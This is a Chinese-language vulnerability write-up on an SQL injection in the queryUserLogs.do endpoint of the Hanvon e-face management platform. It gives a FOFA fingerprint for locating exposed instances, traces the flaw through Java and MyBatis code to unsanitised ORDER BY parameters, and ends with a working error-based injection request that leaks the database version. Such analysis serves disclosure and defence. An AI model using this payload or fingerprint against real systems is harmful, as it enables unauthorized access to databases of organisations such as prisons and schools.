漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 queryUserLogs.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 SystemLogMgrController 里关于 queryUserLogs 的实现

@ResponseBody
    @RequestMapping(
        value = {"/queryUserLogs.do"},
        method = {RequestMethod.GET}
    )
    public RequestJson queryUserLogs(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "name") String name, @RequestParam(required = false,value = "begin") String begin, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
        RequestJson result = new RequestJson();

        try {
            this.loginCheck();
            DbPager pager = this.getPager(page, pageSize, columnKey, order);
            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            if (begin == null || end == null) {
                Calendar cale = Calendar.getInstance();
                cale.add(2, 0);
                cale.set(5, 1);
                begin = sdf.format(cale.getTime());
                cale.add(2, 1);
                cale.set(5, 0);
                end = sdf.format(cale.getTime());
            }

            Date begin1 = sdf.parse(begin);
            Date end1 = sdf.parse(end);
            begin1 = WorkDateUtils.getStartOfDay(begin1);
            end1 = WorkDateUtils.getEndOfDay(end1);
            Timestamp beginTime = new Timestamp(begin1.getTime());
            Timestamp endTime = new Timestamp(end1.getTime());
            if (name != null && name.trim().length() > 0) {
                name.trim();
            }

            List<UserLogTpm> list = (List)this.logAsm.queryUserLog(beginTime, endTime, name, pager).getResult();

跟进queryUserLog方法

public List<UserLogTpm> queryUserLog(Timestamp beginTime, Timestamp endTime, String queryText, DbPager pager) {
        if (pager == null) {
            pager = new DbPager();
        }

        SimpleDateFormat fmt = new SimpleDateFormat("yyyy-MM-dd");

        try {
            beginTime = new Timestamp(fmt.parse(fmt.format(beginTime)).getTime());
            endTime = new Timestamp(fmt.parse(fmt.format(endTime)).getTime() + 86400000L - 1L);
        } catch (Exception var10) {
        }

        SessionalUser su = TheApp.getCurrentUser();
        Long currentUserId = su.getId();
        if (this.systemBsm.hasAdminRole(currentUserId)) {
            currentUserId = null;
        }

        int totalCount = this.logDsm.queryUserLogCount(beginTime, endTime, queryText, currentUserId, pager);
        pager.setRecordCount(totalCount);
        List<UserLogTpm> logList = this.logDsm.queryUserLog(beginTime, endTime, queryText, currentUserId, pager);
        return logList;
    }

继续跟进queryUserLog方法

public interface LogDsm {
    List<UserLogTpm> queryUserLog(@Param("beginTime") Timestamp var1, @Param("endTime") Timestamp var2, @Param("queryText") String var3, @Param("currentUserId") Long var4, @Param("pager") DbPager var5);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 LogDsm.xml

<!-- 查询户日志 -->
    <select id="queryUserLog" resultType="userLogTpm">
        SELECT
        ul.ng_id,
        ul.ng_id as id,
        ul.nt_type as 'type',
        ul.nt_sub_type as subType,
        ul.nt_result as result,
        ul.ts_log as logTime,
        ul.sz_server_code as serverCode,
        ul.sz_title as title,
        ul.tx_comment as comment,
        ul.ng_user_id userId,
        u.sz_name as userName,
        u.sz_employ_id as employId
        FROM sys_user_log ul
        LEFT JOIN sys_user u ON u.ng_id = ul.ng_user_id
        LEFT JOIN sys_user_branch ub on u.ng_id = ub.ng_user_id
        LEFT JOIN sys_branch b on ub.ng_branch_id = b.ng_id
        WHERE ul.ts_log BETWEEN #{beginTime} AND #{endTime}
        <if test="queryText != null and queryText.trim().length() > 0">
            AND (
              u.sz_name LIKE concat('%',#{queryText},'%')
              OR u.sz_employ_id LIKE concat('%',#{queryText},'%')
              OR ul.sz_title LIKE concat('%',#{queryText},'%')
              OR ul.tx_comment LIKE concat('%',#{queryText},'%')
            )
        </if>
        <if test="currentUserId != null">
            AND (b.ng_id IN (
                select distinct ng_branch_id
                from sys_branch_role br
                inner join sys_role r on br.ng_role_id = r.ng_id
                inner join sys_user_role ur on ur.ng_role_id = r.ng_id
                where ur.ng_user_id = #{currentUserId}
            )
            OR ul.ng_user_id = #{currentUserId})
        </if>
        <choose>
            <when test="pager.dbSorts != null and pager.dbSorts.size() > 0">
                <foreach item="item" collection="pager.dbSorts" open="order by " separator=",">
                    ${item.sortField} ${item.sortMode}
                </foreach>
            </when>
            <otherwise>
                order by ts_log desc
            </otherwise>
        </choose>
        limit ${(pager.pageIndex - 1) * pager.pageSize}, ${pager.pageSize}
    </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

漏洞复现

GET /manage/systemLogMgr/queryUserLogs.do?branchId=1&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(2920=2920,1)))),8357))&deviceName=test&id=1&order=desc&page=1&pageSize=10&pointName=1&recoToken=SGUsqvF7cVS HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据库版本号信息